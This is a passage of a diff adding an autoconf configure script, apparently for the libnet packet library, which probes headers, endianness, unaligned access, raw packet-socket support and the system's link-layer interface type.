+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+#include <float.h>
+
+int
+main ()
+{
+
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_header_stdc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_header_stdc=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+
+if test $ac_cv_header_stdc = yes; then
+ # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <string.h>
+
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+ $EGREP "memchr" >/dev/null 2>&1; then
+ :
+else
+ ac_cv_header_stdc=no
+fi
+rm -f conftest*
+
+fi
+
+if test $ac_cv_header_stdc = yes; then
+ # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <stdlib.h>
+
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+ $EGREP "free" >/dev/null 2>&1; then
+ :
+else
+ ac_cv_header_stdc=no
+fi
+rm -f conftest*
+
+fi
+
+if test $ac_cv_header_stdc = yes; then
+ # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
+ if test "$cross_compiling" = yes; then
+ :
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <ctype.h>
+#if ((' ' & 0x0FF) == 0x020)
+# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
+# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
+#else
+# define ISLOWER(c) \
+ (('a' <= (c) && (c) <= 'i') \
+ || ('j' <= (c) && (c) <= 'r') \
+ || ('s' <= (c) && (c) <= 'z'))
+# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
+#endif
+
+#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
+int
+main ()
+{
+ int i;
+ for (i = 0; i < 256; i++)
+ if (XOR (islower (i), ISLOWER (i))
+ || toupper (i) != TOUPPER (i))
+ exit(2);
+ exit (0);
+}
+_ACEOF
+rm -f conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } && { ac_try='./conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ :
+else
+ echo "$as_me: program exited with status $ac_status" >&5
+echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+( exit $ac_status )
+ac_cv_header_stdc=no
+fi
+rm -f core core.* *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext
+fi
+fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5
+echo "${ECHO_T}$ac_cv_header_stdc" >&6
+if test $ac_cv_header_stdc = yes; then
+
+cat >>confdefs.h <<\_ACEOF
+@%:@define STDC_HEADERS 1
+_ACEOF
+
+fi
+
+# On IRIX 5.3, sys/types and inttypes.h are conflicting.
+
+
+
+
+
+
+
+
+
+for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \
+ inttypes.h stdint.h unistd.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+
+@%:@include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ eval "$as_ac_Header=yes"
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_Header=no"
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+
+
+for ac_header in sys/sockio.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+ # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+@%:@include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_header_compiler=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ ac_header_preproc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So? What about this header?
+case $ac_header_compiler:$ac_header_preproc in
+ yes:no )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+@%:@@%:@ ------------------------------------ @%:@@%:@
+@%:@@%:@ Report this to bug-autoconf@gnu.org. @%:@@%:@
+@%:@@%:@ ------------------------------------ @%:@@%:@
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+ no:yes )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+@%:@@%:@ ------------------------------------ @%:@@%:@
+@%:@@%:@ Report this to bug-autoconf@gnu.org. @%:@@%:@
+@%:@@%:@ ------------------------------------ @%:@@%:@
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ eval "$as_ac_Header=$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+
+
+echo "$as_me:$LINENO: checking machine endianess" >&5
+echo $ECHO_N "checking machine endianess... $ECHO_C" >&6
+
+ cat > conftest.c << EOF
+# include <stdio.h>
+# include <stdlib.h>
+
+ int main()
+ {
+ union
+ {
+ short s;
+ char c[sizeof(short)];
+ } un;
+
+ un.s = 0x0102;
+ if (sizeof (short) == 2)
+ {
+ if (un.c [0] == 1 && un.c [1] == 2)
+ {
+ printf("B\n");
+ }
+ else
+ {
+ if (un.c [0] == 2 && un.c [1] == 1)
+ {
+ printf("L\n");
+ }
+ }
+ }
+ else
+ {
+ printf("?\n");
+ }
+ return (EXIT_SUCCESS);
+ }
+EOF
+ ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.c $LIBS > /dev/null 2>&1
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x conftest ; then
+ ac_cv_libnet_endianess=unknown
+ else
+ ./conftest > conftest.out
+ result=`cat conftest.out`
+ if test $result = "B"; then
+ ac_cv_libnet_endianess=big
+ elif test $result = "L"; then
+ ac_cv_libnet_endianess=lil
+ else
+ ac_cv_libnet_endianess=unknown
+ fi
+ fi
+ rm -f conftest* core core.conftest
+
+ echo "$as_me:$LINENO: result: $ac_cv_libnet_endianess" >&5
+echo "${ECHO_T}$ac_cv_libnet_endianess" >&6
+
+ if test $ac_cv_libnet_endianess = big ; then
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BIG_ENDIAN 1
+_ACEOF
+
+ ENDIANESS="LIBNET_BIG_ENDIAN"
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_BIG_ENDIAN"
+ elif test $ac_cv_libnet_endianess = lil ; then
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_LIL_ENDIAN 1
+_ACEOF
+
+ ENDIANESS="LIBNET_LIL_ENDIAN"
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_LIL_ENDIAN"
+ fi
+
+echo "$as_me:$LINENO: checking if unaligned accesses fail" >&5
+echo $ECHO_N "checking if unaligned accesses fail... $ECHO_C" >&6
+ if test "${ac_cv_lbl_unaligned_fail+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ case "$target_cpu" in
+
+ alpha|hp*|mips|sparc)
+ ac_cv_lbl_unaligned_fail=yes
+ ;;
+
+ *)
+ cat >conftest.c <<EOF
+# include <sys/types.h>
+# include <sys/wait.h>
+# include <stdio.h>
+ unsigned char a[5] = { 1, 2, 3, 4, 5 };
+ main()
+ {
+ unsigned int i;
+ pid_t pid;
+ int status;
+ /* avoid "core dumped" message */
+ pid = fork();
+ if (pid < 0)
+ {
+ exit(2);
+ }
+ if (pid > 0)
+ {
+ /* parent */
+ pid = waitpid(pid, &status, 0);
+ if (pid < 0)
+ {
+ exit(3);
+ }
+ exit(!WIFEXITED(status));
+ }
+ /* child */
+ i = *(unsigned int *)&a[1];
+ printf("%d\n", i);
+ exit(0);
+ }
+EOF
+ ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \
+ conftest.c $LIBS > /dev/null 2>&1
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x conftest ; then
+ ac_cv_lbl_unaligned_fail=yes
+ else
+ ./conftest > conftest.out
+ if test ! -s conftest.out ; then
+ ac_cv_lbl_unaligned_fail=yes
+ else
+ ac_cv_lbl_unaligned_fail=no
+ fi
+ fi
+ rm -f conftest* core core.conftest
+ ;;
+ esac
+fi
+
+ echo "$as_me:$LINENO: result: $ac_cv_lbl_unaligned_fail" >&5
+echo "${ECHO_T}$ac_cv_lbl_unaligned_fail" >&6
+ if test $ac_cv_lbl_unaligned_fail = yes ; then
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LBL_ALIGN 1
+_ACEOF
+
+ fi
+
+
+
+
+
+
+
+
+
+
+if test $ac_cv_c_compiler_gnu = yes; then
+ echo "$as_me:$LINENO: checking whether $CC needs -traditional" >&5
+echo $ECHO_N "checking whether $CC needs -traditional... $ECHO_C" >&6
+if test "${ac_cv_prog_gcc_traditional+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_pattern="Autoconf.*'x'"
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <sgtty.h>
+Autoconf TIOCGETP
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+ $EGREP "$ac_pattern" >/dev/null 2>&1; then
+ ac_cv_prog_gcc_traditional=yes
+else
+ ac_cv_prog_gcc_traditional=no
+fi
+rm -f conftest*
+
+
+ if test $ac_cv_prog_gcc_traditional = no; then
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <termio.h>
+Autoconf TCGETA
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+ $EGREP "$ac_pattern" >/dev/null 2>&1; then
+ ac_cv_prog_gcc_traditional=yes
+fi
+rm -f conftest*
+
+ fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_gcc_traditional" >&5
+echo "${ECHO_T}$ac_cv_prog_gcc_traditional" >&6
+ if test $ac_cv_prog_gcc_traditional = yes; then
+ CC="$CC -traditional"
+ fi
+fi
+
+if test "$GCC" = yes ; then
+ CFLAGS="$CFLAGS -Wall"
+fi
+
+
+
+
+for ac_func in strerror
+do
+as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_func" >&5
+echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6
+if eval "test \"\${$as_ac_var+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+/* System header to define __stub macros and hopefully few prototypes,
+ which can conflict with char $ac_func (); below.
+ Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+ <limits.h> exists even on freestanding compilers. */
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char $ac_func ();
+/* The GNU C library defines this for functions which it implements
+ to always fail with ENOSYS. Some functions are actually named
+ something starting with __ and the normal name is an alias. */
+#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
+choke me
+#else
+char (*f) () = $ac_func;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != $ac_func;
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ eval "$as_ac_var=yes"
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_var=no"
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_var'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_var'}'`" >&6
+if test `eval echo '${'$as_ac_var'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define `echo "HAVE_$ac_func" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+done
+
+
+echo "$as_me:$LINENO: checking link-layer packet interface type" >&5
+echo $ECHO_N "checking link-layer packet interface type... $ECHO_C" >&6
+
+if test -r /dev/bpf0 ; then
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_bpf.$ac_objext"
+ echo "$as_me:$LINENO: result: found bpf" >&5
+echo "${ECHO_T}found bpf" >&6
+elif test -r /usr/include/net/pfilt.h ; then
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_pf.$ac_objext"
+ echo "$as_me:$LINENO: result: found pf" >&5
+echo "${ECHO_T}found pf" >&6
+elif test -r /dev/nit ; then
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_snit.$ac_objext"
+ echo "$as_me:$LINENO: result: found snit" >&5
+echo "${ECHO_T}found snit" >&6
+elif test -r /usr/include/sys/net/nit.h ; then
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_nit.$ac_objext"
+ echo "$as_me:$LINENO: result: found nit" >&5
+echo "${ECHO_T}found nit" >&6
+elif test -r /usr/include/net/raw.h ; then
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_snoop.$ac_objext"
+ echo "$as_me:$LINENO: result: found snoop" >&5
+echo "${ECHO_T}found snoop" >&6
+elif test -r /usr/include/sys/dlpi.h ; then
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_dlpi.$ac_objext"
+ echo "$as_me:$LINENO: result: found dlpi" >&5
+echo "${ECHO_T}found dlpi" >&6
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_DLPI 1
+_ACEOF
+
+elif test -r /usr/include/linux/socket.h ; then
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_linux.$ac_objext"
+ echo "$as_me:$LINENO: result: found linux primitives" >&5
+echo "${ECHO_T}found linux primitives" >&6
+
+ echo "$as_me:$LINENO: checking for packet socket (PF_SOCKET)" >&5
+echo $ECHO_N "checking for packet socket (PF_SOCKET)... $ECHO_C" >&6
+ if test "${ac_libnet_have_packet_socket+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ case "$target_os" in
+
+ linux)
+ ac_libnet_have_packet_socket = no
+ ;;
+ *)
+
+ cat > pf_packet-test.c << EOF
+#include <stdio.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <features.h> /* for the glibc version number */
+#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1
+#include <netpacket/packet.h>
+#include <net/ethernet.h> /* the L2 protocols */
+#else
+#include <asm/types.h>
+#include <linux/if_packet.h>
+#include <linux/if_ether.h> /* The L2 protocols */
+#endif
+
+#ifndef SOL_PACKET
+#define SOL_PACKET 263
+#endif /* SOL_PACKET */
+
+int
+main(int argc, char **argv)
+{
+ int fd;
+
+ fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+ if (fd == -1)
+ {
+ if (errno == EPERM)
+ {
+ /* user's UID != 0 */
+ printf("probably");
+ exit (EXIT_FAILURE);
+ }
+ printf("no");
+ exit (EXIT_FAILURE);
+ }
+ printf("yes");
+ exit (EXIT_SUCCESS);
+}
+EOF
+ ${CC-cc} -o pf_packet-test $CFLAGS pf_packet-test.c >/dev/null 2>&1
+
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x ./pf_packet-test ; then
+ ac_libnet_have_packet_socket=choked
+ else
+ ac_libnet_have_packet_socket=`./pf_packet-test`;
+ fi
+ if test $ac_libnet_have_packet_socket = choked; then
+ echo "$as_me:$LINENO: result: test program compile choked... assuming no" >&5
+echo "${ECHO_T}test program compile choked... assuming no" >&6
+ elif test $ac_libnet_have_packet_socket = yes; then
+ echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+ elif test $ac_libnet_have_packet_socket = probably; then
+ echo "$as_me:$LINENO: result: test program got EPERM... assuming yes" >&5
+echo "${ECHO_T}test program got EPERM... assuming yes" >&6
+ elif test $ac_libnet_have_packet_socket = no; then
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+ fi
+
+ rm -f pf_packet-test* core core.pf_packet-test
+ ;;
+ esac
+fi
+
+
+ if test $ac_libnet_have_packet_socket = yes -o $ac_libnet_have_packet_socket = probably; then
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_PACKET_SOCKET 1
+_ACEOF
+
+ fi
+
+ echo "$as_me:$LINENO: checking for Linux proc filesystem" >&5
+echo $ECHO_N "checking for Linux proc filesystem... $ECHO_C" >&6
+ if test "${ac_cv_libnet_linux_procfs+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test "x`cat /proc/sys/kernel/ostype 2>&-`" = "xLinux" ; then
+ ac_cv_libnet_linux_procfs=yes
+ else
+ ac_cv_libnet_linux_procfs=no
+ fi
+fi
+
+ echo "$as_me:$LINENO: result: $ac_cv_libnet_linux_procfs" >&5
+echo "${ECHO_T}$ac_cv_libnet_linux_procfs" >&6
+ if test $ac_cv_libnet_linux_procfs = yes ; then
+
+cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_LINUX_PROCFS 1
+_ACEOF
+
+ fi
+elif test -c /dev/bpf0 ; then # check again in case not readable
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_bpf.$ac_objext"
+ echo "$as_me:$LINENO: result: found bpf" >&5
+echo "${ECHO_T}found bpf" >&6
+elif test -c /dev/nit ; then # check again in case not readable
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_snit.$ac_objext"
+ echo "$as_me:$LINENO: result: found snit" >&5
+echo "${ECHO_T}found snit" >&6
+elif test "$target_os" = "cygwin" ; then
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_win32.$ac_objext"
+ echo "$as_me:$LINENO: result: found win32 wpcap" >&5
+echo "${ECHO_T}found win32 wpcap" >&6
+else
+ LIB@&t@OBJS="$LIB@&t@OBJS libnet_link_none.$ac_objext"
+ { echo "$as_me:$LINENO: WARNING: could not find a link-layer packet interface" >&5
+echo "$as_me: WARNING: could not find a link-layer packet interface" >&2;}
+ { echo "$as_me:$LINENO: WARNING: link-layer packet injection will not be available" >&5
+echo "$as_me: WARNING: link-layer packet injection will not be available" >&2;}
+fi
+
+echo -n "scanning available packet construction modules: "
+for dir in src/*build*c ; do
+ echo $dir | sed -e /src\\/libnet_build_/s/// | sed -e /\\.c/s/// | tr \\n \\040
+done
+echo ""
+
+
+case "$target_os" in
+
+*linux*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define _BSD_SOURCE 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define __BSD_SOURCE 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define __FAVOR_BSD 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD"
+
+for ac_header in net/ethernet.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+ # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+@%:@include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_header_compiler=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
